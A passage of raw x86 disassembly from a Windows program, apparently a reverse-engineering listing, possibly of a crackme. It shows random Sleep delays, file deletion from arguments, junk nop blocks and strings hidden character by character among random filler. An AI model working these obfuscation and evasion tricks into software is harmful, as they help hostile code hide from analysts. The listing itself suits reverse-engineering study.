lea ecx, [ebp - 0x23c]
call fcn.00418dc0
lea ecx, [ebp - 0x18c]
call fcn.00418dc0
lea ecx, [ebp - 0x254]
call fcn.00418dc0
lea ecx, [ebp - 0x1ac]
call fcn.00418dc0
lea ecx, [ebp - 0x2cc]
call fcn.00418e00
lea ecx, [ebp - 0x26c]
call fcn.00418e00
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x300]
jmp 0x407931
lea ecx, [ebp - 0x29c]
call fcn.0041ec40
push eax
push 2
lea ecx, [ebp - 0x4c]
call fcn.00419720
mov ecx, eax
call fcn.0041ec40
push eax
push 0x461dc0
push 0x427694
lea edx, [ebp - 0x4234]
push edx
call fcn.00422d30
add esp, 0x14
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6d4], esp
lea eax, [ebp - 0x4234]
push eax
call fcn.00418520
call fcn.00407fb0
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x402758
jmp 0x402a34
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0x304], 0
lea ecx, [ebp - 0x29c]
call fcn.00418e00
lea ecx, [ebp - 0x2b4]
call fcn.00418e00
lea ecx, [ebp - 0x224]
call fcn.00418dc0
lea ecx, [ebp - 0x23c]
call fcn.00418dc0
lea ecx, [ebp - 0x18c]
call fcn.00418dc0
lea ecx, [ebp - 0x254]
call fcn.00418dc0
lea ecx, [ebp - 0x1ac]
call fcn.00418dc0
lea ecx, [ebp - 0x2cc]
call fcn.00418e00
lea ecx, [ebp - 0x26c]
call fcn.00418e00
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x304]
jmp 0x407931
push 0x462104
push 0x462104
lea edx, [ebp - 0xb20]
push edx
call fcn.00415690
add esp, 0xc
push eax
push 1
lea ecx, [ebp - 0x4c]
call fcn.00419720
push eax
call fcn.004150c0
add esp, 8
mov byte [ebp - 0x5d], al
lea ecx, [ebp - 0xb20]
call fcn.00418e00
movzx eax, byte [ebp - 0x5d]
test eax, eax
je 0x4029fe
mov byte [0x461d91], 1
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x4c]
call fcn.00422bb0
cmp eax, 3
jae 0x4028ee
mov dword [ebp - 0x30c], 0
lea ecx, [ebp - 0x29c]
call fcn.00418e00
lea ecx, [ebp - 0x2b4]
call fcn.00418e00
lea ecx, [ebp - 0x224]
call fcn.00418dc0
lea ecx, [ebp - 0x23c]
call fcn.00418dc0
lea ecx, [ebp - 0x18c]
call fcn.00418dc0
lea ecx, [ebp - 0x254]
call fcn.00418dc0
lea ecx, [ebp - 0x1ac]
call fcn.00418dc0
lea ecx, [ebp - 0x2cc]
call fcn.00418e00
lea ecx, [ebp - 0x26c]
call fcn.00418e00
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x30c]
jmp 0x407931
push str.none
push 2
lea ecx, [ebp - 0x4c]
call fcn.00419720
push eax
call fcn.004151f0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x4029f5
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 2
lea ecx, [ebp - 0x4c]
call fcn.00419720
mov ecx, eax
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x4c]
call fcn.00422bb0
cmp eax, 3
jbe 0x4029f3
push str.delete
push 3
lea ecx, [ebp - 0x4c]
call fcn.00419720
push eax
call fcn.004150f0
add esp, 8
movzx edx, al
test edx, edx
je 0x4029f3
mov dword [ebp - 0x310], 0
lea ecx, [ebp - 0x29c]
call fcn.00418e00
lea ecx, [ebp - 0x2b4]
call fcn.00418e00
lea ecx, [ebp - 0x224]
call fcn.00418dc0
lea ecx, [ebp - 0x23c]
call fcn.00418dc0
lea ecx, [ebp - 0x18c]
call fcn.00418dc0
lea ecx, [ebp - 0x254]
call fcn.00418dc0
lea ecx, [ebp - 0x1ac]
call fcn.00418dc0
lea ecx, [ebp - 0x2cc]
call fcn.00418e00
lea ecx, [ebp - 0x26c]
call fcn.00418e00
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x310]
jmp 0x407931
jmp 0x4029fc
mov byte [0x461d91], 0
jmp 0x402a2d
push 0x4276c4
push 1
lea ecx, [ebp - 0x4c]
call fcn.00419720
push eax
call fcn.004151f0
add esp, 8
movzx eax, al
test eax, eax
je 0x402a26
mov byte [0x461d92], 1
jmp 0x402a2d
mov byte [0x461d90], 1
jmp 0x402a34
call fcn.0040dbf0
movzx ecx, byte [0x461d90]
test ecx, ecx
je 0x402a52
push 0
mov ecx, 0x4620ec
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea ecx, [ebp - 0x20c]
call fcn.00418360
lea ecx, [ebp - 0x1dc]
call fcn.00418580
lea ecx, [ebp - 0x1f4]
call fcn.00418360
lea ecx, [ebp - 0x1c4]
call fcn.00418580
call fcn.00414310
movzx edx, al
test edx, edx
je 0x402b5b
mov ecx, 0x4620ec
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x314], 0
lea ecx, [ebp - 0x1c4]
call fcn.00418e00
lea ecx, [ebp - 0x1f4]
call fcn.00418dc0
lea ecx, [ebp - 0x1dc]
call fcn.00418e00
lea ecx, [ebp - 0x20c]
call fcn.00418dc0
lea ecx, [ebp - 0x29c]
call fcn.00418e00
lea ecx, [ebp - 0x2b4]
call fcn.00418e00
lea ecx, [ebp - 0x224]
call fcn.00418dc0
lea ecx, [ebp - 0x23c]
call fcn.00418dc0
lea ecx, [ebp - 0x18c]
call fcn.00418dc0
lea ecx, [ebp - 0x254]
call fcn.00418dc0
lea ecx, [ebp - 0x1ac]
call fcn.00418dc0
lea ecx, [ebp - 0x2cc]
call fcn.00418e00
lea ecx, [ebp - 0x26c]
call fcn.00418e00
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x314]
jmp 0x407931
movzx eax, byte [0x461d90]
test eax, eax
je 0x402b90
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x1388
idiv ecx
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x1388
idiv ecx
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00414310
movzx edx, al
test edx, edx
je 0x402c6d
mov ecx, 0x4620ec
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x318], 0
lea ecx, [ebp - 0x1c4]
call fcn.00418e00
lea ecx, [ebp - 0x1f4]
call fcn.00418dc0
lea ecx, [ebp - 0x1dc]
call fcn.00418e00
lea ecx, [ebp - 0x20c]
call fcn.00418dc0
lea ecx, [ebp - 0x29c]
call fcn.00418e00
lea ecx, [ebp - 0x2b4]
call fcn.00418e00
lea ecx, [ebp - 0x224]
call fcn.00418dc0
lea ecx, [ebp - 0x23c]
call fcn.00418dc0
lea ecx, [ebp - 0x18c]
call fcn.00418dc0
lea ecx, [ebp - 0x254]
call fcn.00418dc0
lea ecx, [ebp - 0x1ac]
call fcn.00418dc0
lea ecx, [ebp - 0x2cc]
call fcn.00418e00
lea ecx, [ebp - 0x26c]
call fcn.00418e00
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x318]
jmp 0x407931
mov byte [ebp - 0x22], 0
movzx eax, byte [0x461d90]
test eax, eax
je 0x402ec9
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6d8], esp
push 0x462128
call fcn.00418120
push 0xc
mov ecx, 0x4620e0
call fcn.00419700
push eax
lea ecx, [ebp - 0xb38]
push ecx
call fcn.004080f0
add esp, 0x20
push eax
lea ecx, [ebp - 0x20c]
call fcn.004192d0
lea ecx, [ebp - 0xb38]
call fcn.00418dc0
lea ecx, [ebp - 0x16f]
call fcn.004178f0
push eax
lea edx, [ebp - 0x6dc]
push edx
lea ecx, [ebp - 0x20c]
call fcn.0041f400
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x6e0]
push ecx
lea ecx, [ebp - 0x20c]
call fcn.0041eb20
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0xb80]
call fcn.00414c50
push eax
push 0x4276cc
push 0x4620ec
lea eax, [ebp - 0xb68]
push eax
call fcn.00415730
add esp, 0xc
push eax
lea ecx, [ebp - 0xb50]
push ecx
call fcn.004155a0
add esp, 0xc
push eax
lea ecx, [ebp - 0x1dc]
call fcn.00419450
lea ecx, [ebp - 0xb50]
call fcn.00418e00
lea ecx, [ebp - 0xb68]
call fcn.00418e00
lea ecx, [ebp - 0xb80]
call fcn.00418e00
push 1
push 0x40
push 0x20
lea edx, [ebp - 0x1dc]
push edx
lea ecx, [ebp - 0x14c4]
call fcn.00417df0
push 0
push 1
lea eax, [ebp - 0x22]
push eax
lea ecx, [ebp - 0x14c4]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x14c4]
call fcn.0041eeb0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6e4], esp
push 0x462128
call fcn.00418120
push 0xd
mov ecx, 0x4620e0
call fcn.00419700
push eax
lea ecx, [ebp - 0xb98]
push ecx
call fcn.004080f0
add esp, 0x20
push eax
lea ecx, [ebp - 0x1f4]
call fcn.004192d0
lea ecx, [ebp - 0xb98]
call fcn.00418dc0
lea ecx, [ebp - 0x170]
call fcn.004178f0
push eax
lea edx, [ebp - 0x6e8]
push edx
lea ecx, [ebp - 0x1f4]
call fcn.0041f400
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x6ec]
push ecx
lea ecx, [ebp - 0x1f4]
call fcn.0041eb20
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0xbe0]
call fcn.00414c50
push eax
push 0x4276d0
push 0x4620ec
lea eax, [ebp - 0xbc8]
push eax
call fcn.00415730
add esp, 0xc
push eax
lea ecx, [ebp - 0xbb0]
push ecx
call fcn.004155a0
add esp, 0xc
push eax
lea ecx, [ebp - 0x1c4]
call fcn.00419450
lea ecx, [ebp - 0xbb0]
call fcn.00418e00
lea ecx, [ebp - 0xbc8]
call fcn.00418e00
lea ecx, [ebp - 0xbe0]
call fcn.00418e00
push 1
push 0x40
push 0x20
lea edx, [ebp - 0x1c4]
push edx
lea ecx, [ebp - 0x1414]
call fcn.00417df0
push 0
push 1
lea eax, [ebp - 0x22]
push eax
lea ecx, [ebp - 0x1414]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x1414]
call fcn.0041eeb0
lea ecx, [ebp - 0x1414]
call fcn.00419ab0
lea ecx, [ebp - 0x14c4]
call fcn.00419ab0
jmp 0x40308d
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6f0], esp
push 0x462128
call fcn.00418120
push 0xc
mov ecx, 0x4620e0
call fcn.00419700
push eax
lea ecx, [ebp - 0xbf8]
push ecx
call fcn.004080f0
add esp, 0x20
push eax
lea ecx, [ebp - 0x20c]
call fcn.004192d0
lea ecx, [ebp - 0xbf8]
call fcn.00418dc0
lea ecx, [ebp - 0x171]
call fcn.004178f0
push eax
lea edx, [ebp - 0x6f4]
push edx
lea ecx, [ebp - 0x20c]
call fcn.0041f400
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x6f8]
push ecx
lea ecx, [ebp - 0x20c]
call fcn.0041eb20
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0xc10]
call fcn.00414c50
push eax
lea ecx, [ebp - 0x1dc]
call fcn.00419450
lea ecx, [ebp - 0xc10]
call fcn.00418e00
push 1
push 0x40
push 0x20
lea eax, [ebp - 0x1dc]
push eax
lea ecx, [ebp - 0x1624]
call fcn.00417df0
push 0
push 1
lea ecx, [ebp - 0x22]
push ecx
lea ecx, [ebp - 0x1624]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x1624]
call fcn.0041eeb0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6fc], esp
push 0x462128
call fcn.00418120
push 0xd
mov ecx, 0x4620e0
call fcn.00419700
push eax
lea edx, [ebp - 0xc28]
push edx
call fcn.004080f0
add esp, 0x20
push eax
lea ecx, [ebp - 0x1f4]
call fcn.004192d0
lea ecx, [ebp - 0xc28]
call fcn.00418dc0
lea ecx, [ebp - 0x13d]
call fcn.004178f0
push eax
lea eax, [ebp - 0x700]
push eax
lea ecx, [ebp - 0x1f4]
call fcn.0041f400
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x704]
push edx
lea ecx, [ebp - 0x1f4]
call fcn.0041eb20
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xc40]
call fcn.00414c50
push eax
lea ecx, [ebp - 0x1c4]
call fcn.00419450
lea ecx, [ebp - 0xc40]
call fcn.00418e00
push 1
push 0x40
push 0x20
lea ecx, [ebp - 0x1c4]
push ecx
lea ecx, [ebp - 0x1574]
call fcn.00417df0
push 0
push 1
lea edx, [ebp - 0x22]
push edx
lea ecx, [ebp - 0x1574]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x1574]
call fcn.0041eeb0
lea ecx, [ebp - 0x1574]
call fcn.00419ab0
lea ecx, [ebp - 0x1624]
call fcn.00419ab0
mov eax, 5
mov word [0x461fdc], ax
mov dword [ebp - 0xa0], 0
jmp 0x4030b3
mov ecx, dword [ebp - 0xa0]
add ecx, 1
mov dword [ebp - 0xa0], ecx
cmp dword [ebp - 0xa0], 3
jae 0x403674
lea ecx, [ebp - 0x84]
call fcn.00418360
cmp dword [ebp - 0xa0], 0
jne 0x4032d9
mov dword [ebp - 0x20], 0
jmp 0x4030ea
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x20], edx
jge 0x4032d4
cmp dword [ebp - 0x20], 3
jne 0x40311c
push 0x6d
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 8
jne 0x403142
push 0x79
lea ecx, [ebp - 0x84]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4032cf
cmp dword [ebp - 0x20], 9
jne 0x40315a
push 0x66
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 0xb
jne 0x403172
push 0x5f
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 0xf
jne 0x40318a
push 0x6c
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 0x13
jne 0x4031a2
push 0x21
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 0x18
jne 0x4031c8
push 0x73
lea ecx, [ebp - 0x84]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4032cf
cmp dword [ebp - 0x20], 0x1d
jne 0x4031e0
push 0x75
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 0x1f
jne 0x4031f8
push 0x70
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 0x21
jne 0x403210
push 0x6c
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 0x25
jne 0x403228
push 0x6f
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 0x28
jne 0x403240
push 0x28
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 0x2d
jne 0x403255
push 0x64
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 0x32
jne 0x403278
push 0x2e
lea ecx, [ebp - 0x84]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4032cf
cmp dword [ebp - 0x20], 0x33
jne 0x40328d
push 0x62
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 0x3c
jne 0x4032a2
push 0x5f
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
cmp dword [ebp - 0x20], 0x41
jne 0x4032b7
push 0x7a
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032cf
push 0x7a
push 0x61
call fcn.004114c0
add esp, 8
push eax
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4030e1
jmp 0x403653
cmp dword [ebp - 0xa0], 1
jne 0x403487
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0x30], 0
jmp 0x403306
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x30], edx
jge 0x403482
cmp dword [ebp - 0x30], 5
jne 0x403346
push 0x74
lea ecx, [ebp - 0x84]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x40347d
cmp dword [ebp - 0x30], 9
jne 0x40335e
push 0x21
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40347d
cmp dword [ebp - 0x30], 0xe
jne 0x403376
push 0x78
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40347d
cmp dword [ebp - 0x30], 0x14
jne 0x40338e
push 0x74
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40347d
cmp dword [ebp - 0x30], 0x15
jne 0x4033a6
push 0x75
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40347d
cmp dword [ebp - 0x30], 0x17
jne 0x4033cc
push 0x70
lea ecx, [ebp - 0x84]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x40347d
cmp dword [ebp - 0x30], 0x18
jne 0x4033e4
push 0x6c
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40347d
cmp dword [ebp - 0x30], 0x1d
jne 0x4033fc
push 0x6f
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40347d
cmp dword [ebp - 0x30], 0x1f
jne 0x403411
push 0x28
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40347d
cmp dword [ebp - 0x30], 0x21
jne 0x403426
push 0x64
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40347d
cmp dword [ebp - 0x30], 0x25
jne 0x40343b
push 0x2e
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40347d
cmp dword [ebp - 0x30], 0x28
jne 0x403450
push 0x75
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40347d
cmp dword [ebp - 0x30], 0x2d
jne 0x403465
push 0x73
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40347d
push 0x7a
push 0x61
call fcn.004114c0
add esp, 8
push eax
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x4032fd
jmp 0x403653
cmp dword [ebp - 0xa0], 2
jne 0x403653
mov dword [ebp - 0x34], 0
jmp 0x4034a6
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x34], edx
jge 0x403653
cmp dword [ebp - 0x34], 5
jne 0x4034d8
push 0x74
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40364e
cmp dword [ebp - 0x34], 9
jne 0x4034f0
push 0x21
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40364e
cmp dword [ebp - 0x34], 0xe
jne 0x403508
push 0x78
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40364e
cmp dword [ebp - 0x34], 0x14
jne 0x403520
push 0x74
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40364e
cmp dword [ebp - 0x34], 0x15
jne 0x403538
push 0x64
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40364e
cmp dword [ebp - 0x34], 0x17
jne 0x40357a
push 0x28
lea ecx, [ebp - 0x84]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x40364e
cmp dword [ebp - 0x34], 0x18
jne 0x4035a0
push 0x74
lea ecx, [ebp - 0x84]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x40364e
cmp dword [ebp - 0x34], 0x1d
jne 0x4035b8
push 0x28
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40364e
cmp dword [ebp - 0x34], 0x1f
jne 0x4035db
push 0x2e
lea ecx, [ebp - 0x84]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x40364e
cmp dword [ebp - 0x34], 0x21
jne 0x4035f0
push 0x62
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40364e
cmp dword [ebp - 0x34], 0x25
jne 0x403605
push 0x5f
lea ecx, [ebp - 0x84]
call fcn.00419990
jmp 0x40364e
cmp dword [ebp - 0x34], 0x28
jne 0x403628
push 0x7a
lea ecx, [ebp - 0x84]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x40364e
push 0x7a
push 0x61
call fcn.004114c0
add esp, 8
push eax
lea ecx, [ebp - 0x84]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x40349d
lea edx, [ebp - 0x84]
push edx
mov ecx, 0x462204
call fcn.00421380
lea ecx, [ebp - 0x84]
call fcn.00418dc0
jmp 0x4030a4
mov dword [ebp - 4], 0
jmp 0x403686
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 3
jae 0x40411d
lea ecx, [ebp - 0x9c]
call fcn.00418360
cmp dword [ebp - 4], 0
jne 0x403ae1
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0xc], 0
jmp 0x4036c5
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xc], edx
jge 0x403adc
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
cmp dword [ebp - 0xc], 3
jne 0x403722
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403ad7
cmp dword [ebp - 0xc], 8
jne 0x403781
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x403ad7
cmp dword [ebp - 0xc], 9
jne 0x4037b6
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403ad7
cmp dword [ebp - 0xc], 0xb
jne 0x4037eb
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403ad7
cmp dword [ebp - 0xc], 0xf
jne 0x40383c
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x403ad7
cmp dword [ebp - 0xc], 0x13
jne 0x403871
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403ad7
cmp dword [ebp - 0xc], 0x18
jne 0x4038a6
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403ad7
cmp dword [ebp - 0xc], 0x1d
jne 0x4038db
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403ad7
cmp dword [ebp - 0xc], 0x1f
jne 0x40391e
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x403ad7
cmp dword [ebp - 0xc], 0x21
jne 0x403953
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403ad7
cmp dword [ebp - 0xc], 0x25
jne 0x403988
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403ad7
cmp dword [ebp - 0xc], 0x28
jne 0x4039bd
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403ad7
cmp dword [ebp - 0xc], 0x2d
jne 0x403a00
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x403ad7
cmp dword [ebp - 0xc], 0x32
jne 0x403a35
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
